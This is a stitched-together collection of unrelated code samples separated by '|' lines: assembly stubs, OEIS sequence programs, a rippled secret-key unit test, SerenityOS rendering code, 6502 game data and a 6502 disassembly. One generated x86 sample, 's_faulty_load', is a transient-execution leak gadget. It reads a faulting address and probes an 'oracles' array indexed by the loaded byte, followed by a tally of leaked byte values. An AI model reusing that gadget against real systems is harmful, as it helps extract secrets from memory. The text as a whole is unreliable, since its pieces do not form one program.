0x0281 (0x000502) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0282 (0x000504) 0x0000- f:00000 d: 0 | PASS
0x0283 (0x000506) 0x0000- f:00000 d: 0 | PASS
|
;; crt0.asm
;; Ponto de entrada do aplicativo teditor.bin
;; deve apenas chamar _mainGetMessage para
;; enviar as mensagens que estão na pilha.
;;
[bits 32]
extern _gramcode_main
global __crt0Main
__crt0Main:
call _gramcode_main
hang:
pause
jmp hang
|
//------------------------------------------------------------------------------
/*
This file is part of rippled: https://github.com/ripple/rippled
Copyright (c) 2012, 2013 Ripple Labs Inc.
Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL , DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
//==============================================================================
#include <ripple/crypto/csprng.h>
#include <ripple/protocol/PublicKey.h>
#include <ripple/protocol/SecretKey.h>
#include <ripple/protocol/Seed.h>
#include <ripple/beast/unit_test.h>
#include <ripple/beast/utility/rngfill.h>
#include <algorithm>
#include <string>
#include <vector>
#include <ripple/protocol/impl/secp256k1.h>
namespace ripple {
class SecretKey_test : public beast::unit_test::suite
{
public:
using blob = std::vector<std::uint8_t>;
template <class FwdIter, class Container>
static
void
hex_to_binary (FwdIter first, FwdIter last, Container& out)
{
struct Table
{
int val[256];
Table ()
{
std::fill (val, val+256, 0);
for (int i = 0; i < 10; ++i)
val ['0'+i] = i;
for (int i = 0; i < 6; ++i)
{
val ['A'+i] = 10 + i;
val ['a'+i] = 10 + i;
}
}
int operator[] (int i)
{
return val[i];
}
};
static Table lut;
out.reserve (std::distance (first, last) / 2);
while (first != last)
{
auto const hi (lut[(*first++)]);
auto const lo (lut[(*first++)]);
out.push_back ((hi*16)+lo);
}
}
static
uint256
hex_to_digest(std::string const& s)
{
blob b;
hex_to_binary (s.begin (), s.end (), b);
return uint256{b};
}
static
PublicKey
hex_to_pk(std::string const& s)
{
blob b;
hex_to_binary (s.begin (), s.end (), b);
return PublicKey{Slice{b.data(), b.size()}};
}
static
SecretKey
hex_to_sk(std::string const& s)
{
blob b;
hex_to_binary (s.begin (), s.end (), b);
return SecretKey{Slice{b.data(), b.size()}};
}
static
Buffer
hex_to_sig(std::string const& s)
{
blob b;
hex_to_binary (s.begin (), s.end (), b);
return Buffer{Slice{b.data(), b.size()}};
}
// VFALCO We can remove this commented out code
// later, when we have confidence in the vectors.
/*
Buffer
makeNonCanonical(Buffer const& sig)
{
secp256k1_ecdsa_signature sigin;
BEAST_EXPECT(secp256k1_ecdsa_signature_parse_der(
secp256k1Context(),
&sigin,
reinterpret_cast<unsigned char const*>(
sig.data()),
sig.size()) == 1);
secp256k1_ecdsa_signature sigout;
BEAST_EXPECT(secp256k1_ecdsa_signature_denormalize(
secp256k1Context(),
&sigout,
&sigin) == 1);
unsigned char buf[72];
size_t len = sizeof(buf);
BEAST_EXPECT(secp256k1_ecdsa_signature_serialize_der(
secp256k1Context(),
buf,
&len,
&sigout) == 1);
return Buffer{buf, len};
}
void
makeCanonicalityTestVectors()
{
uint256 digest;
beast::rngfill (
digest.data(),
digest.size(),
crypto_prng());
log << "digest " << strHex(digest.data(), digest.size()) << std::endl;
auto const sk = randomSecretKey();
auto const pk = derivePublicKey(KeyType::secp256k1, sk);
log << "public " << pk << std::endl;
log << "secret " << sk.to_string() << std::endl;
auto sig = signDigest(pk, sk, digest);
log << "canonical sig " << strHex(sig) << std::endl;
auto const non = makeNonCanonical(sig);
log << "non-canon sig " << strHex(non) << std::endl;
{
auto const canonicality = ecdsaCanonicality(sig);
BEAST_EXPECT(canonicality);
BEAST_EXPECT(*canonicality == ECDSACanonicality::fullyCanonical);
}
{
auto const canonicality = ecdsaCanonicality(non);
BEAST_EXPECT(canonicality);
BEAST_EXPECT(*canonicality != ECDSACanonicality::fullyCanonical);
}
BEAST_EXPECT(verifyDigest(pk, digest, sig, false));
BEAST_EXPECT(verifyDigest(pk, digest, sig, true));
BEAST_EXPECT(verifyDigest(pk, digest, non, false));
BEAST_EXPECT(! verifyDigest(pk, digest, non, true));
}
*/
// Ensure that verification does the right thing with
// respect to the matrix of canonicality variables.
void
testCanonicality()
{
testcase ("secp256k1 canonicality");
#if 0
makeCanonicalityTestVectors();
#else
auto const digest = hex_to_digest("34C19028C80D21F3F48C9354895F8D5BF0D5EE7FF457647CF655F5530A3022A7");
auto const pk = hex_to_pk("025096EB12D3E924234E7162369C11D8BF877EDA238778E7A31FF0AAC5D0DBCF37");
auto const sk = hex_to_sk("AA921417E7E5C299DA4EEC16D1CAA92F19B19F2A68511F68EC73BBB2F5236F3D");
auto const sig = hex_to_sig("3045022100B49D07F0E934BA468C0EFC78117791408D1FB8B63A6492AD395AC2F360F246600220508739DB0A2EF81676E39F459C8BBB07A09C3E9F9BEB696294D524D479D62740");
auto const non = hex_to_sig("3046022100B49D07F0E934BA468C0EFC78117791408D1FB8B63A6492AD395AC2F360F24660022100AF78C624F5D107E9891C60BA637444F71A129E47135D36D92AFD39B856601A01");
{
auto const canonicality = ecdsaCanonicality(sig);
BEAST_EXPECT(canonicality);
BEAST_EXPECT(*canonicality == ECDSACanonicality::fullyCanonical);
}
{
auto const canonicality = ecdsaCanonicality(non);
BEAST_EXPECT(canonicality);
BEAST_EXPECT(*canonicality != ECDSACanonicality::fullyCanonical);
}
BEAST_EXPECT(verifyDigest(pk, digest, sig, false));
BEAST_EXPECT(verifyDigest(pk, digest, sig, true));
BEAST_EXPECT(verifyDigest(pk, digest, non, false));
BEAST_EXPECT(! verifyDigest(pk, digest, non, true));
#endif
}
void testDigestSigning()
{
testcase ("secp256k1 digest");
for (std::size_t i = 0; i < 32; i++)
{
auto const [pk, sk] = randomKeyPair (KeyType::secp256k1);
BEAST_EXPECT(pk == derivePublicKey (KeyType::secp256k1, sk));
BEAST_EXPECT(*publicKeyType (pk) == KeyType::secp256k1);
for (std::size_t j = 0; j < 32; j++)
{
uint256 digest;
beast::rngfill (
digest.data(),
digest.size(),
crypto_prng());
auto sig = signDigest (
pk, sk, digest);
BEAST_EXPECT(sig.size() != 0);
BEAST_EXPECT(verifyDigest (pk,
digest, sig, true));
// Wrong digest:
BEAST_EXPECT(!verifyDigest (pk,
~digest, sig, true));
// Slightly change the signature:
if (auto ptr = sig.data())
ptr[j % sig.size()]++;
// Wrong signature:
BEAST_EXPECT(!verifyDigest (pk,
digest, sig, true));
// Wrong digest and signature:
BEAST_EXPECT(!verifyDigest (pk,
~digest, sig, true));
}
}
}
void testSigning (KeyType type)
{
for (std::size_t i = 0; i < 32; i++)
{
auto const [pk, sk] = randomKeyPair (type);
BEAST_EXPECT(pk == derivePublicKey (type, sk));
BEAST_EXPECT(*publicKeyType (pk) == type);
for (std::size_t j = 0; j < 32; j++)
{
std::vector<std::uint8_t> data (64 + (8 * i) + j);
beast::rngfill (
data.data(),
data.size(),
crypto_prng());
auto sig = sign (
pk, sk,
makeSlice (data));
BEAST_EXPECT(sig.size() != 0);
BEAST_EXPECT(verify(pk,
makeSlice(data), sig, true));
// Construct wrong data:
auto badData = data;
// swaps the smallest and largest elements in buffer
std::iter_swap (
std::min_element (badData.begin(), badData.end()),
std::max_element (badData.begin(), badData.end()));
// Wrong data: should fail
BEAST_EXPECT(!verify (pk,
makeSlice(badData), sig, true));
// Slightly change the signature:
if (auto ptr = sig.data())
ptr[j % sig.size()]++;
// Wrong signature: should fail
BEAST_EXPECT(!verify (pk,
makeSlice(data), sig, true));
// Wrong data and signature: should fail
BEAST_EXPECT(!verify (pk,
makeSlice(badData), sig, true));
}
}
}
void testBase58 ()
{
testcase ("Base58");
// Ensure that parsing some well-known secret keys works
{
auto const sk1 = generateSecretKey (
KeyType::secp256k1,
generateSeed ("masterpassphrase"));
auto const sk2 = parseBase58<SecretKey> (
TokenType::NodePrivate,
"pnen77YEeUd4fFKG7iycBWcwKpTaeFRkW2WFostaATy1DSupwXe");
BEAST_EXPECT(sk2);
BEAST_EXPECT(sk1 == *sk2);
}
{
auto const sk1 = generateSecretKey (
KeyType::ed25519,
generateSeed ("masterpassphrase"));
auto const sk2 = parseBase58<SecretKey> (
TokenType::NodePrivate,
"paKv46LztLqK3GaKz1rG2nQGN6M4JLyRtxFBYFTw4wAVHtGys36");
BEAST_EXPECT(sk2);
BEAST_EXPECT(sk1 == *sk2);
}
// Try converting short, long and malformed data
BEAST_EXPECT(!parseBase58<SecretKey> (TokenType::NodePrivate, ""));
BEAST_EXPECT(!parseBase58<SecretKey> (TokenType::NodePrivate, " "));
BEAST_EXPECT(!parseBase58<SecretKey> (TokenType::NodePrivate, "!35gty9mhju8nfjl"));
auto const good = toBase58 (
TokenType::NodePrivate,
randomSecretKey());
// Short (non-empty) strings
{
auto s = good;
// Remove all characters from the string in random order:
std::hash<std::string> r;
while (!s.empty())
{
s.erase (r(s) % s.size(), 1);
BEAST_EXPECT(!parseBase58<SecretKey> (TokenType::NodePrivate, s));
}
}
// Long strings
for (std::size_t i = 1; i != 16; i++)
{
auto s = good;
s.resize (s.size() + i, s[i % s.size()]);
BEAST_EXPECT(!parseBase58<SecretKey> (TokenType::NodePrivate, s));
}
// Strings with invalid Base58 characters
for (auto c : std::string ("0IOl"))
{
for (std::size_t i = 0; i != good.size(); ++i)
{
auto s = good;
s[i % s.size()] = c;
BEAST_EXPECT(!parseBase58<SecretKey> (TokenType::NodePrivate, s));
}
}
// Strings with incorrect prefix
{
auto s = good;
for (auto c : std::string("ansrJqtv7"))
{
s[0] = c;
BEAST_EXPECT(!parseBase58<SecretKey> (TokenType::NodePrivate, s));
}
}
// Try some random secret keys
std::array <SecretKey, 32> keys;
for (std::size_t i = 0; i != keys.size(); ++i)
keys[i] = randomSecretKey();
for (std::size_t i = 0; i != keys.size(); ++i)
{
auto const si = toBase58 (
TokenType::NodePrivate,
keys[i]);
BEAST_EXPECT(!si.empty());
auto const ski = parseBase58<SecretKey> (
TokenType::NodePrivate, si);
BEAST_EXPECT(ski && keys[i] == *ski);
for (std::size_t j = i; j != keys.size(); ++j)
{
BEAST_EXPECT((keys[i] == keys[j]) == (i == j));
auto const sj = toBase58 (
TokenType::NodePrivate,
keys[j]);
BEAST_EXPECT((si == sj) == (i == j));
auto const skj = parseBase58<SecretKey> (
TokenType::NodePrivate, sj);
BEAST_EXPECT(skj && keys[j] == *skj);
BEAST_EXPECT((*ski == *skj) == (i == j));
}
}
}
void testMiscOperations ()
{
testcase ("Miscellaneous operations");
auto const sk1 = generateSecretKey (
KeyType::secp256k1,
generateSeed ("masterpassphrase"));
SecretKey sk2 (sk1);
BEAST_EXPECT(sk1 == sk2);
SecretKey sk3;
BEAST_EXPECT(sk3 != sk2);
sk3 = sk2;
BEAST_EXPECT(sk3 == sk2);
}
void run() override
{
testBase58();
testDigestSigning();
testMiscOperations();
testCanonicality();
testcase ("secp256k1");
testSigning(KeyType::secp256k1);
testcase ("ed25519");
testSigning(KeyType::ed25519);
}
};
BEAST_DEFINE_TESTSUITE(SecretKey,protocol,ripple);
} // ripple
|
; A136258: a(n) = 2*a(n-1) - 2*a(n-2), with a(0)=1, a(1)=5.
; 1,5,8,6,-4,-20,-32,-24,16,80,128,96,-64,-320,-512,-384,256,1280,2048,1536,-1024,-5120,-8192,-6144,4096,20480,32768,24576,-16384,-81920,-131072,-98304,65536,327680,524288,393216,-262144,-1310720,-2097152,-1572864,1048576
mov $1,1
mov $2,2
lpb $0
sub $0,1
add $2,$1
add $1,3
mul $1,2
sub $1,$2
lpe
|
; C D E F G A H C D E F
;.byte 146,128,109,101,89, 78, 72, 62, 55, 47, 45 ,0xFF
; 27bytes
.org 0x0000
.byte 146,109,78,109, 89, 72,78,89,101
.byte 109,89,146,109, 101, 78
.byte 78,78,78, 72,72,78
.byte 89,89,101,109, 101
.byte 0xFF
|
; Map 18 init
; THE EMPEROR!! (Or Wizard?)
Map18Init: lda #$01
sta MapVar1
sta MapVar2
lda #$00
sta SIZEP2
sta SIZEP3
sta L39CF
sta L39D0
sta L39D1
lda #$1B
sta L39D2
lda #$06
sta L39D7
lda #$07
sta L39D8
rts
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xa6fa, %r15
add %r10, %r10
mov (%r15), %bp
dec %r11
lea addresses_normal_ht+0xeb7a, %rbx
nop
nop
nop
nop
nop
add $4742, %r12
mov $0x6162636465666768, %r10
movq %r10, (%rbx)
cmp %rbx, %rbx
lea addresses_UC_ht+0x19870, %rsi
lea addresses_WT_ht+0x14b7a, %rdi
nop
nop
nop
nop
lfence
mov $5, %rcx
rep movsq
and %r12, %r12
lea addresses_normal_ht+0x1ea8e, %r11
nop
add %rsi, %rsi
mov (%r11), %rbx
nop
nop
nop
add $23548, %rbx
lea addresses_A_ht+0xfb7a, %rdi
nop
nop
nop
and $52040, %rbp
mov (%rdi), %r10d
nop
nop
nop
nop
nop
xor $4705, %r15
lea addresses_WT_ht+0x17e7a, %rsi
lea addresses_A_ht+0xf57a, %rdi
nop
nop
nop
nop
sub $1281, %r15
mov $118, %rcx
rep movsq
nop
xor %r12, %r12
lea addresses_normal_ht+0x7a7a, %rsi
lea addresses_UC_ht+0x2eda, %rdi
clflush (%rsi)
inc %rbp
mov $116, %rcx
rep movsw
nop
nop
nop
inc %r11
lea addresses_D_ht+0xfeaa, %rbp
clflush (%rbp)
nop
nop
nop
dec %rdi
mov $0x6162636465666768, %r10
movq %r10, (%rbp)
dec %r10
lea addresses_normal_ht+0x137a, %r15
nop
nop
nop
nop
nop
cmp $16172, %rbp
mov $0x6162636465666768, %r10
movq %r10, %xmm4
movups %xmm4, (%r15)
nop
nop
xor $28084, %rbx
lea addresses_A_ht+0x89fa, %rbx
nop
nop
nop
nop
inc %r10
mov (%rbx), %edi
nop
nop
nop
nop
nop
cmp $54858, %rcx
lea addresses_A_ht+0xe87a, %rsi
lea addresses_WC_ht+0x1a04a, %rdi
nop
inc %r12
mov $121, %rcx
rep movsl
nop
nop
nop
cmp %rsi, %rsi
lea addresses_A_ht+0x1cb9a, %r10
nop
nop
nop
add $14897, %rbx
mov (%r10), %r11
nop
nop
nop
sub $44870, %r11
lea addresses_WT_ht+0x9b7a, %rcx
nop
nop
and $32796, %r10
mov $0x6162636465666768, %r11
movq %r11, (%rcx)
sub $45448, %rdi
lea addresses_WT_ht+0x1277a, %r15
clflush (%r15)
nop
nop
nop
cmp %r11, %r11
mov (%r15), %ebx
nop
nop
nop
nop
nop
inc %rcx
lea addresses_D_ht+0x5b7a, %rsi
nop
nop
nop
nop
dec %r12
movups (%rsi), %xmm4
vpextrq $0, %xmm4, %rbp
nop
nop
xor %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rdx
// Load
lea addresses_US+0x1fffa, %r14
clflush (%r14)
nop
nop
nop
and %r15, %r15
mov (%r14), %r8w
nop
nop
nop
nop
nop
dec %r15
// Store
lea addresses_A+0x1ff7a, %rdx
nop
nop
nop
dec %rdi
mov $0x5152535455565758, %rcx
movq %rcx, (%rdx)
nop
nop
nop
cmp $48630, %rdx
// Faulty Load
lea addresses_US+0x1337a, %r14
nop
nop
nop
xor $7961, %r15
movups (%r14), %xmm0
vpextrq $0, %xmm0, %rdx
lea oracles, %r10
and $0xff, %rdx
shlq $12, %rdx
mov (%r10,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_US', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_US', 'congruent': 5}}
{'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 8, 'type': 'addresses_A', 'congruent': 10}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_US', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 5}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 8}}
{'dst': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 2}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 10}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 7}}
{'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 5}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 11}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 11}}
{'45': 49, 'd2': 1, 'fa': 2379, 'fe': 1, '49': 2, '00': 13151, '03': 2, '47': 2, '01': 15, '18': 36, 'ff': 2, '1a': 8, '67': 5442, '44': 737, '20': 2}
00 00 00 00 00 67 fa 00 00 00 00 00 00 00 00 fa fa 00 00 00 67 00 67 fa 00 00 00 67 00 00 44 00 00 67 67 67 67 fa 00 00 67 fa 00 00 00 00 00 fa fa fa 00 fa 00 67 00 00 00 00 67 00 67 00 67 67 67 00 00 44 00 67 00 fa fa 00 00 00 67 18 00 00 00 67 00 00 00 fa 67 fa 00 67 fa 00 67 67 67 00 18 00 00 67 00 00 00 67 00 00 67 67 00 00 00 00 67 fa fa 67 67 00 67 00 00 67 00 00 00 00 00 67 00 67 67 00 00 00 00 00 00 00 67 00 67 00 67 67 00 00 67 67 00 00 fa 67 00 00 00 00 00 00 67 fa 00 00 67 67 00 00 67 00 00 00 00 67 00 00 00 00 00 00 67 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 fa fa 00 00 00 67 67 fa fa 67 00 00 00 67 67 00 00 67 00 00 00 44 67 00 00 00 00 00 00 00 00 67 00 00 00 00 00 00 00 00 00 00 00 00 67 00 00 00 00 00 fa 67 00 67 00 67 00 00 67 00 00 00 00 fa fa 67 67 67 00 67 fa 00 67 fa 00 00 00 67 00 00 00 00 00 00 00 44 00 67 00 67 00 44 67 00 00 67 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 00 67 00 fa 00 00 00 00 00 00 00 00 00 00 67 00 67 67 fa 00 00 00 00 67 67 67 00 00 00 00 67 00 00 00 00 00 00 00 67 44 67 fa fa 67 fa 00 00 00 00 00 00 00 00 00 67 00 00 67 00 00 00 00 00 00 00 44 67 fa 00 00 00 67 00 00 00 67 67 00 00 00 00 00 67 44 00 67 44 67 fa 67 67 67 00 00 00 00 00 00 fa 00 00 67 00 67 67 67 00 00 fa 00 44 00 00 67 67 00 00 00 44 00 00 67 00 00 00 00 67 00 00 fa fa 00 00 00 00 67 67 00 00 00 00 00 00 fa fa 67 00 00 67 fa 00 00 67 00 00 67 00 67 00 00 00 00 00 00 00 67 fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 67 67 00 00 00 00 00 67 00 00 00 00 00 00 67 00 00 00 67 00 00 00 44 00 00 00 00 00 67 00 67 67 00 00 00 00 00 67 67 67 00 00 fa 67 67 00 00 00 67 00 00 00 00 67 00 00 67 00 fa 67 00 00 00 fa fa 00 67 00 00 00 67 67 67 00 00 00 00 00 00 00 00 fa 00 00 67 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 fa 00 00 00 00 00 00 00 00 00 00 67 00 44 67 00 67 00 fa 00 00 67 67 67 00 00 00 00 00 00 67 44 00 00 00 67 67 fa fa 67 00 00 00 00 00 00 00 00 00 00 00 00 00 fa 44 fa 67 67 00 67 00 00 00 67 00 00 00 00 67 00 67 00 00 00 00 fa 00 00 67 00 00 00 00 00 00 00 67 00 00 00 00 00 00 00 67 00 67 67 00 00 00 00 00 67 00 18 00 00 00 00 00 00 00 67 67 fa 00 00 67 00 67 44 67 00 00 67 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 67 00 67 00 00 00 00 00 00 00 00 67 00 00 00 00 00 00 00 00 67 67 44 00 00 fa 67 fa fa 67 00 67 00 00 00 00 00 44 00 00 00 44 67 00 67 00 00 00 00 00 67 00 00 67 00 00 00 00 00 00 00 00 00 00 67 00 67 fa 00 00 67 fa fa 00 00 44 67 44 fa fa 00 67 fa 00 00 00 00 67 67 00 fa fa 67 67 00 00 00 00 67 00 00 00 00 00 00 67 fa fa 67 fa fa 00 00 00 67 00 00 00 00 00 00 67 00 00 00 00 67 67 00 00 00 00 00 00 00 44 00 67 00 00 67 45 67 00 00 00 00 00 00 00 00 00 00 00 00 00 67 67 00 00 67 fa 00 67 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 00 00 00 00 00 00 00 00 00 67 00 00 00 67 44 67 00 67 fa fa 67 00 00 00 00 00 00 00 00 00 67 03 00 00 67 00 67 00 00 67 00 00 00 67 00 00 00 00 00 00 00 67 00 00 00 00 00 00 00 67 fa 00 00 00 67 67 00 00 67 67 00
*/
|
/*
* Copyright (c) 2022, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibGfx/Painter.h>
#include <LibGfx/StylePainter.h>
#include <LibWeb/Layout/Progress.h>
namespace Web::Layout {
Progress::Progress(DOM::Document& document, HTML::HTMLProgressElement& element, NonnullRefPtr<CSS::StyleProperties> style)
: LabelableNode(document, element, move(style))
{
set_intrinsic_height(12);
}
Progress::~Progress()
{
}
void Progress::paint(PaintContext& context, PaintPhase phase)
{
if (!is_visible())
return;
if (phase == PaintPhase::Foreground) {
// FIXME: This does not support floating point value() and max()
Gfx::StylePainter::paint_progressbar(context.painter(), enclosing_int_rect(absolute_rect()), context.palette(), 0, dom_node().max(), dom_node().value(), "");
}
}
}
|
; A118920: Triangle read by rows: T(n,k) is the number of Grand Dyck paths of semilength n that cross the x-axis k times (n>=1, k>=0).
; Submitted by Jon Maiga
; 2,4,2,10,8,2,28,28,12,2,84,96,54,16,2,264,330,220,88,20,2,858,1144,858,416,130,24,2,2860,4004,3276,1820,700,180,28,2,9724,14144,12376,7616,3400,1088,238,32,2,33592,50388,46512,31008,15504,5814,1596,304,36,2
lpb $0
add $2,1
sub $0,$2
mov $1,$2
lpe
add $0,$2
mul $1,2
bin $1,$0
add $0,2
mul $2,2
bin $2,$0
sub $1,$2
mov $0,$1
mul $0,2
|
; inner expression
#ruledef
{
emit {x: i8} => x
test {x} => asm { emit x * 9 }
}
test 2 ; = 0x12
test 1 + 1 ; = 0x12 |
; unsigned char esx_f_unlink(unsigned char *filename)
SECTION code_esxdos
PUBLIC _esx_f_unlink_fastcall
EXTERN asm_esx_f_unlink
_esx_f_unlink_fastcall:
push iy
call asm_esx_f_unlink
pop iy
ret
|
; da65 V2.16 - Ubuntu 2.16-2
; Created: 2020-09-18 13:53:51
; Input file: ./test1
; Page: 1
.setcpu "6502"
L021D := $021D
L0229 := $0229
L0253 := $0253
L0272 := $0272
L02B1 := $02B1
L02D0 := $02D0
L02DC := $02DC
L02F2 := $02F2
L0336 := $0336
L033F := $033F
L0355 := $0355
L03AB := $03AB
L03B2 := $03B2
L03B6 := $03B6
L03BA := $03BA
L03C1 := $03C1
L03C4 := $03C4
L03D7 := $03D7
L03E3 := $03E3
L03EE := $03EE
L0400 := $0400
L040C := $040C
L044A := $044A
L0454 := $0454
L0462 := $0462
L046C := $046C
L0477 := $0477
L048F := $048F
L049C := $049C
L04A9 := $04A9
L04DC := $04DC
L0561 := $0561
L05AA := $05AA
L05D1 := $05D1
L05D7 := $05D7
L06FB := $06FB
L075B := $075B
L0765 := $0765
L0772 := $0772
L0778 := $0778
L077F := $077F
L0796 := $0796
L07A2 := $07A2
L07A9 := $07A9
L07B6 := $07B6
L07C3 := $07C3
L083E := $083E
L0845 := $0845
L0853 := $0853
L0858 := $0858
L085D := $085D
L0862 := $0862
L086D := $086D
L087B := $087B
L0892 := $0892
L08AE := $08AE
L0905 := $0905
L0908 := $0908
L093C := $093C
L0960 := $0960
L096D := $096D
L09B4 := $09B4
L09BF := $09BF
L09EC := $09EC
L09FB := $09FB
L0A2E := $0A2E
L0A37 := $0A37
L0A4B := $0A4B
L0A4D := $0A4D
L0A65 := $0A65
L0A7F := $0A7F
L0A97 := $0A97
L0AA0 := $0AA0
L0AB6 := $0AB6
L0AE0 := $0AE0
L0AEF := $0AEF
L0B64 := $0B64
L0B8D := $0B8D
L0CF5 := $0CF5
L0CFC := $0CFC
ora ($D8,x)
ldx #$FF
txs
lda #$F0
ldx #$FF
sta $00
stx $01
jsr L0B8D
jsr L021D
jsr L077F
pha
jsr L0796
pla
jmp LFFF1
ldy #$00
beq LF4FF
lda #$29
ldx #$02
jmp L0CFC
LF4FF: rts
jsr L0A4D
jmp L0253
LF506: ldy #$04
jsr L086D
sta $04
stx $05
.byte $1A
bne LF513
inx
LF513: ldy #$03
jsr L0A97
lda $04
ldx $05
jsr L0A4D
ldy #$04
ldx #$00
lda ($00),y
ldy #$00
jsr L0A7F
ldy #$01
jsr L086D
sta $04
stx $05
jsr L07A2
ldy #$00
jsr L0A97
lda $04
ldx $05
stx $10
ora $10
bne LF506
jsr L0858
rts
jsr L0A4D
jmp L02B1
LF54F: ldy #$05
jsr L086D
sta $04
stx $05
.byte $1A
bne LF55C
inx
LF55C: ldy #$04
jsr L0A97
lda $04
ldx $05
jsr L0A4D
ldy #$05
jsr L086D
sta $04
stx $05
.byte $1A
bne LF575
inx
LF575: ldy #$04
jsr L0A97
lda $04
ldx $05
ldy #$00
jsr L0862
ldy #$00
jsr L0A7F
ldy #$01
jsr L086D
sta $04
stx $05
jsr L07A2
ldy #$00
jsr L0A97
lda $04
ldx $05
stx $10
ora $10
bne LF54F
jsr L085D
rts
jsr L07A9
ldx #$00
lda #$00
ldy #$02
jsr L0A97
ldy #$03
jsr L086D
cpx #$FF
bne LF5BE
cmp #$FF
LF5BE: jsr L0960
beq LF5C6
jmp L02F2
LF5C6: jmp L0336
ldy #$03
jsr L086D
ldy #$00
jsr L0A97
lda #$B0
ldx #$0B
jsr L0A4D
ldy #$03
jsr L086D
jsr L0A4D
ldy #$05
jsr L086D
ldy #$00
jsr L0862
jsr L0A4D
ldy #$06
jsr L09FB
ldy #$03
jsr L086D
sta $04
stx $05
.byte $1A
bne LF601
inx
LF601: ldy #$02
jsr L0A97
lda $04
ldx $05
jmp L02DC
ldx #$00
lda #$00
ldy #$02
jsr L0A97
ldy #$03
jsr L086D
cpx #$00
bne LF621
cmp #$FF
LF621: jsr L0960
beq LF629
jmp L0355
LF629: jmp L03AB
lda #$29
ldx #$0D
jsr L0A4D
lda #$AA
jsr L0A37
ldx #$20
lda #$00
jsr L0229
lda #$29
ldx #$2D
jsr L0A4D
lda #$29
ldx #$0D
jsr L0A4D
ldx #$20
lda #$00
jsr L0272
lda #$29
ldx #$0D
jsr L0A4D
lda #$29
ldx #$2D
jsr L0A4D
ldx #$20
lda #$00
jsr L0272
ldy #$03
jsr L086D
sta $04
stx $05
.byte $1A
bne LF676
inx
LF676: ldy #$02
jsr L0A97
lda $04
ldx $05
jmp L033F
ldx #$00
lda #$00
jmp L03B2
jsr L0853
rts
ldy #$00
lda ($16),y
inc $16
bne LF697
inc $17
LF697: rts
